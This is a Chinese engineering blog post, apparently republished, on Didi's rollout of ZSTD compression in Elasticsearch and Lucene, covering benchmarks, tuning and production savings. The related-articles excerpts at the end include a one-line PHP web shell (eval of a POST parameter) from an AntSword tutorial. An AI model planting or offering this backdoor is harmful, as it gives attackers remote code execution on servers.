如何讓ES低成本、高性能?滴滴落地ZSTD壓縮算法的實踐分享

前文分別介紹了滴滴自研的ES強一致性多活是如何實現的、以及如何提升ES的性能潛力。由于滴滴ES日志場景每天寫入量在5PB-10PB量級,寫入壓力和業務成本壓力大,為了提升ES的寫入性能,我們讓ES支持ZSTD壓縮算法,本篇文章詳細展開滴滴在落地ZSTD壓縮算法上的思考和實踐。

//?背 景?//

ES通過索引(Index)對外提供數據檢索能力,索引是用于組織和存儲數據的邏輯單元。每個索引由若干個分片(shard)組成,每個分片就是一個Lucene索引,可以在不同的節點上進行分布式存儲和并行處理,提高性能和可伸縮性。每個分片由一組段文件(segment)組成,段是分片中更小的存儲和搜索單元,是一組物理文件,包含了檢索需要的倒排索引(詞項和文檔ID的映射關系)和文檔存儲(字段值和其他元數據),如下圖:

98a4d2bdec9aed3eeb161c710e8e4051.png

ES數據模型

Lucene作為ES的底層索引引擎,提供了靈活的數據檢索能力,同時也導致CPU、存儲占用較為嚴重。為實現降本增效,23年上半年,ES團隊開啟了Lucene壓縮編碼優化專項,通過改進存儲層壓縮算法,從而降低單位Document所占用的資源。本文概述了ES的底層索引文件,并介紹了Lucene存儲壓縮編碼的優化。

//?Lucene索引文件介紹?//

ES的壓縮編碼優化專項涉及到Lucene底層的文件存儲,Lucene索引由一組Segment構成,每個Segment包含了一系列文件,重點文件類型如下圖:

b20303e43bd25eb52b4f347fcbe666ee.png

  • 行存文件:包括原文存儲文件和原文索引文件。原文存儲文件,即.fdt文件。用戶寫入的原始數據都被存儲于該文件中,因其占比大,為節約存儲,Lucene在原文存儲上支持LZ4壓縮和ZIP壓縮;原文索引文件,即.fdx文件,它存儲了原文數據在原文存儲文件中的位置信息,建立起了doc id和原文之間的聯系,以支持快速訪問和定位。

  • 列存文件:即.dvd文件,常被應用于一些OLAP分析引擎中。列存文件按列組織數據,不同Document中的同一列數據(Field),相鄰存放在一起,這樣可以加速該列聚合分析性查詢。同時,相鄰每列類型相同,在存儲的時候可以進行統一性的編碼優化,提高壓縮率,減少存儲磁盤空間的占用。

  • 索引相關文件:ES依靠分詞產生倒排索引,使其具備強大的全文檢索能力。索引相關文件中,重點文件包含:字典數據文件&倒排索引文件。字典數據文件,即.tim文件,通過用戶配置的索引分詞器,能夠從用戶數據中提取分詞信息并存儲在.tim文件中。同一列的分詞信息,相鄰存放,按塊組織;倒排索引文件,即.doc文件,也被稱為"倒排拉鏈表",它記錄了每一個分詞所關聯的文檔列表,能夠實現快速的單詞到文檔的倒排查找。

//?ZSTD壓縮算法調研與分析?//

ES線上集群中資源比較緊張的主要是日志集群,集群寫多讀少,高峰期CPU使用率在85%左右,寫入性能是它的主要瓶頸。通過調研可以發現原文存儲文件的占比最大,基本都超過了30%,有些索引甚至超過了70%。由此,我們明確了索引文件壓縮編碼優化的重心。

目前滴滴ES線上采用的是7.6.0版本,對應的Lucene版本是8.4.0,該版本支持兩種壓縮策略:

  • BEST_SPEED,是ES索引默認的壓縮算法,使用了LZ4壓縮。壓縮與解壓速度快,CPU占用低,但壓縮效果弱。? ??

  • BEST_COMPRESSION,使用了ZIP壓縮。壓縮與解壓速度慢,CPU占用高,但壓縮效果好。

Lucene的壓縮算法僅針對占比最大的行存文件生效,其他文件通過自定義編碼優化來降低存儲。目前滴滴ES日志集群采用BEST_COMPRESSION壓縮算法,通過ES壓縮比測試發現,日志場景下,同一個索引采用ZIP比LZ4低20% ~ 40%的磁盤存儲占用空間。但通過分析日志集群的CPU使用情況可以發現,ES壓縮模塊的CPU占比較高,一些日志集群甚至超過30%,如下圖:

82f0a2c485f5502cfc61445a2bbd3fad.png

CPU損耗占比

在上述背景下,我們調研了ZSTD壓縮算法,ZSTD(Zstandard)底層基于FSE編碼實現,具有出色的壓縮和解壓速度。ZSTD算法的實現經過了高度優化,通過SIMD等指令集能夠充分利用硬件并行性,同時編碼過程大量依賴位移運算來完成狀態的切換,以此提高處理速度。ZSTD采用字典壓縮算法,通過引用字典中的匹配項,能夠大大減少重復數據的存儲空間,提高壓縮比。與此同時,ZSTD采用多級壓縮策略,在不同的壓縮級別中應用不同的壓縮算法,能夠在不同的應用場景中靈活地平衡速度和壓縮比。

為了驗證它的性能,采用bamai線上1GB的日志文件做壓縮性能測試,測試發現,ZSTD的壓縮速度是ZIP的4.5倍,解壓縮速度是ZIP的1.5倍,壓縮比幾乎持平,如下圖所示,ZSTD壓縮算法兼顧了LZ4壓縮的"快"及ZIP壓縮的"效果好"。

e43a0557bb5d283429a81f7a504e0b60.png

壓縮算法對比

//?ZSTD壓縮算法落地?//

為了實現ZSTD在滴滴ES的落地,我們從以下方面著手:

源碼開發

1、ES?setting和engine擴展

ES通過setting給每個索引配置壓縮格式,需要在ES setting中支持ZSTD壓縮格式。ES會為每個shard初始化一個engine,不同的分片類型或狀態對應不同的engine,例如索引close對應的是noop engine,DCDR從索引對應的following engine,需要在不同類型的engine上抽象并擴展它的ZSTD壓縮能力。

2、Lucene CompressionMode 擴展

Lucene是一個由Java編寫的全文搜索引擎庫,而ZSTD算法是基于C++實現的,因此在Lucene端引入了zstd-jni來擴展ZSTD壓縮能力。通過擴展CompressionMode,自定義ZStandardDecompressor和ZStandardCompressor來實現數據的按塊壓縮、解壓縮。

參數調優

1、Chunk Size調優

行存文件內部是以Chunk形式組織的,Chunk Size通常為數十KB級別。滴滴ES7.6.0版本采用的是Lucene 8.4版本, LZ4壓縮算法設置的Chunk Size為16kb,而ZIP壓縮算法設置的是60kb。將索引設置為ZSTD壓縮格式并導入一批線上數據后,壓縮結果如表所示。

1e4b3d90edde88b9830d10a31429eb64.png

Chunk Size壓縮比對表

增大ChunkSize可以獲得一個更大的數據區間內的共享字典數據,從而獲得更好的壓縮效果。但這也會導致隨機訪問時延變大、CPU消耗進一步增大。為保證后期索引壓縮格式切換為ZSTD時不會出現數據膨脹問題,ChunkSize采用的是60kb。

2、ZSTD壓縮等級調優

ZSTD采用多級壓縮策略,它?提供了從 1 到 22 的壓縮等級,數值越大表示壓縮比越高,但壓縮和解壓縮速度越慢、CPU損耗越高。設置不同的壓縮等級,導入測試數據,壓縮結果如下表所示:

263a4bfb115a36f7557a369c0e95c28f.png

壓縮等級性能比對表

通過增大壓縮等級能夠降低存儲,例如將壓縮等級調整為9,.fdt文件能夠下降10%左右的存儲,索引整體存儲下降5%,此時CPU損耗和ZIP基本持平。

ES線上日志集群寫多讀少,采用的都是物理機(SSD硬盤),集群高峰期CPU使用率超過80%,集群整體磁盤水位在55%左右,CPU使用率是它的瓶頸。因此,采用的壓縮等級為3,該等級在速度和壓縮比之間取得了較好的平衡,并且能夠盡可能地降低集群CPU使用率。

其他

1、解決Lucene打包部分依賴加載失敗問題,比如:Lucene采用ivy進行依賴管理,通過引入repo解決Lucene打包過程中Maven主倉庫中找不到 org.restlet.jee jar的問題,如下圖:

51adb8193b99feadb47681f5c351dd37.png

ivy依賴導入圖

2、通過前置初始化zstd模塊,解決ES運行時動態加載zstd-jni-jar失敗問題。

3、通過擴展noop engine的ZSTD壓縮能力,解決索引close場景ZSTD類型解析失敗問題。

//?上線效果?//

經過三個月的實踐與優化,目前已在16個集群上線了ES-ZSTD版本,并將日志集群全量索引(6w+)以及部分公共集群索引的壓縮格式均切換為ZSTD,上線后所有日志集群高峰期CPU使用率平均降幅達到15%,使ES可以提供更高性能、更低成本的檢索服務,主要效果如下:

更高性能

1、某日志集群A上線效果

ES某日志集群A上線ES-ZSTD版本并將全量索引切換壓縮切換為ZSTD格式后,集群高峰期CPU使用率下降18%,寫入reject同比下降50%。

4cfafb7624a1e87cca101cb6ff9b9ea5.png

集群CPU Idle圖(集群A)

d85e419ac2e69709f6e34f3f21ddf0b1.png

DataNode寫入reject圖(集群A)

2、某超大日志索引M切換效果

ES某超大線上日志索引M壓縮格式由ZIP切換為ZSTD后,寫入條數不變的情況下,集群CPU使用率下降15%,寫入性能提升25%。

6595c204985546c3c2187a8ae988c563.png

集群CPU Idle圖(集群B)

90ea129f0d6d750607a1fc7e2e0dbf43.png

索引寫入總耗時(索引M)

更低成本

1、LZ4壓縮格式索引切換為ZSTD效果

ES日志集群還殘留著部分LZ4壓縮的日志索引,將這些日志索引切換為ZSTD壓縮格式后,平均索引存儲下降達到30%,如下圖:

cbdc4a9796446de24816d76e3b4e4004.png

索引存儲圖

2、日志集群縮容

將索引壓縮格式切換為ZSTD后,能夠有效降低集群CPU,因此可以進行集群資源調整。目前已經縮容機器超過20臺,仍在持續下線中。

//?總 結?//

ZSTD助力ES提供更高性能、更低成本的檢索服務。之后也會陸續開啟讀寫分離、ES大版本升級等項目,進一步助力業務發展。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/34944.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/34944.shtml
英文地址,請注明出處:http://en.pswp.cn/news/34944.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python 監控 Windows 服務

Python 監控 Windows 服務 Python 在 Windows 系統上可以使用 wmi 模塊來實現對 Windows 服務的監控。本文將介紹如何使用 Python 監控 Windows 服務,并實現服務狀態的查詢和服務啟停功能。 安裝依賴 在使用 wmi 模塊之前,需要先安裝 wmi包。可以使用…

[excel]vlookup函數對相同的ip進行關聯

一、需求(由于ip不可泄漏所以簡化如下) 有兩個sheet: 找到sheet1在sheet2中存在的ip,也就是找到有漏洞的ip 二、實現 vlookup函數有4個參數 第一個:當前表要匹配的列,選擇第一個sheet當前行需要處理的ip即可 第二個:第二個shee…

linux內核bitmap之setbit匯編實現

內核版本:kernel 0.12 首先看一段代碼,下面這段代碼來自內核版本0.12的mm/swap.c中: // mm/swap.c #define bitop(name,op) \static inline int name(char * addr,unsigned int nr) \ { \int __res; \__asm__ __volatile__("bt" …

蟻劍antSword-maste下載-安裝-使用-一句話木馬

下載 https://github.com/AntSwordProject/antSword 一句話木馬 hack.php腳本 <?php eval($_POST[attack]);?> 安裝 1、安裝完成后啟動 2、初始化&#xff0c;選擇有源碼的目錄 3、連接

03 什么是預訓練(Transformer 前奏)

博客配套視頻鏈接: https://space.bilibili.com/383551518?spm_id_from=333.1007.0.0 b 站直接看 配套 github 鏈接:https://github.com/nickchen121/Pre-training-language-model 配套博客鏈接:https://www.cnblogs.com/nickchen121/p/15105048.html 預訓練有什么用 機器學…

Linux(Web與html)

域名 DNS與域名&#xff1a; 網絡是基于tcp/ip協議進行通信和連接的 tcp/ip協議是五層協議&#xff1a;應用層–傳輸層—網絡層----數據鏈路層----物理層每一臺主機都有一個唯一的地址標識&#xff08;固定的ip地址&#xff0c;用于區分用戶和計算機。 ip地址&#xff1a;由…

深入淺出:MyBatis的使用方法及最佳實踐

這里寫目錄標題 添加MyBatis框架?持配置連接字符串和MyBatis配置連接字符串配置 MyBatis 中的 XML 路徑 添加業務代碼創建數據庫和表添加用戶實體類添加 mapper 接?添加 UserMapper.xml添加 Service層添加 Controller層 增刪改操作增加操作刪除操作修改操作 添加MyBatis框架?…

JVM 基礎

鞏固基礎&#xff0c;砥礪前行 。 只有不斷重復&#xff0c;才能做到超越自己。 能堅持把簡單的事情做到極致&#xff0c;也是不容易的。 JVM 類加載機制 JVM 類加載機制分為五個部分&#xff1a;加載&#xff0c;驗證&#xff0c;準備&#xff0c;解析&#xff0c;初始化&am…

Hadoop安裝完全分布式搭建

1、安裝Hadoop 上傳Hadoop的指定路徑/root/softwares 解壓安裝 cd /root/softwares && tar -zxvf hadoop-2.7.3.tar.gz -C /usr/local配置環境變量 vim /etc/profile # Hadoop Environment export HADOOP_HOME/usr/local/hadoop-2.7.3 export PATH$PATH:$HADOOP_HOM…

openCV使用c#操作攝像頭

效果如下&#xff1a; 1.創建一個winform的窗體項目&#xff08;框架.NET Framework 4.7.2&#xff09; 2.Nuget引入opencv的c#程序包&#xff08;版本最好和我一致&#xff09; 3.后臺代碼 using System; using System.Collections.Generic; using System.ComponentModel;…

用友-NC-Cloud遠程代碼執行漏洞[2023-HW]

用友-NC-Cloud遠程代碼執行漏洞[2023-HW] 一、漏洞介紹二、資產搜索三、漏洞復現PoC小龍POC檢測腳本: 四、修復建議 免責聲明&#xff1a;請勿利用文章內的相關技術從事非法測試&#xff0c;由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失&#…

Leetcode-每日一題【劍指 Offer 24. 反轉鏈表】

題目 定義一個函數&#xff0c;輸入一個鏈表的頭節點&#xff0c;反轉該鏈表并輸出反轉后鏈表的頭節點。 示例: 輸入: 1->2->3->4->5->NULL輸出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 節點個數 < 5000 解題思路 1.題目要求我們反轉…

Windows下運行Tomcat服務時報GC Overhead Limit Exceeded

根本原因是在新建Tomcat作為Windows服務時&#xff0c;系統默認設置的堆內存太小了&#xff0c;我們打開/bin/service.bat文件&#xff0c;將如下圖所示的默認值改大一些就好了 if "%JvmMs%" "" set JvmMs512 if "%JvmMx%" "" set J…

高防cdn和高防服務器有什么不一樣?

高防cdn&#xff1a; 相信很多看過我們文章的小伙伴對cdn已經很了解了&#xff0c;cdn的原理很簡單&#xff0c;就是構建在網絡上的很多個節點&#xff0c;為網站作內容 分發。使用戶就近獲取所需資源。且分配的cdn節點都是高防節點&#xff0c;每個節點都有防御功能。還…

【考研復習】24王道數據結構課后習題代碼|第3章棧與隊列

文章目錄 3.1 棧3.2 隊列3.3 棧和隊列的應用 3.1 棧 int symmetry(linklist L,int n){char s[n/2];lnode *pL->next;int i;for(i0;i<n/2;i){s[i]p->data;pp->next;}i--;if(n%21) pp->next;while(p&&s[i]p->data){i--;pp->next;}if(i-1) return 1;…

Python flask-restful 框架講解

1、簡介 Django 和 Flask 一直都是 Python 開發 Web 的首選&#xff0c;而 Flask 的微內核更適用于現在的云原生微服務框架。但是 Flask 只是一個微型的 Web 引擎&#xff0c;所以我們需要擴展 Flask 使其發揮出更強悍的功能。 python flask框架詳解&#xff1a;https://blog.…

sentinel簡單使用

核心demo&#xff1a; 1 引入依賴: <dependency><groupId>com.alibaba.csp</groupId><artifactId>sentinel-core</artifactId><version>1.8.0</version> </dependency>2 核心代碼&#xff1a; 3 限流保護代碼&#xff1a;…

【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(四):張量并行版Embedding層及交叉熵的實現及測試

相關博客 【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(四)&#xff1a;張量并行版Embedding層及交叉熵的實現及測試 【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(三)&#xff1a;張量并行層的實現及測試 【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(一)&#xff1a…

【HarmonyOS】@ohos.request 上傳下載的那些事兒

【關鍵字】 ohos.request、上傳下載? 【寫在前面】 在進行HarmonyOS應用開發時&#xff0c;可能需要進行上傳或下載文件功能開發&#xff0c;本文章主要進行上傳下載相關功能介紹和一些注意事項及FAQ。 【上傳開發步驟】 步驟1&#xff1a;上傳下載接口需要申請ohos.permis…

GitOps 與 DevOps:了解關鍵差異,為企業做出最佳選擇

在軟件開發領域&#xff0c;GitOps 和 DevOps 是加強協作和實現軟件交付流程自動化的重要技術。雖然這兩種模式都旨在提高軟件開發生命周期的效率&#xff0c;但它們的核心原則和實施方式卻各不相同。 本篇文章將幫助您了解 GitOps 和 DevOps 之間的差異、它們的工作流程&am…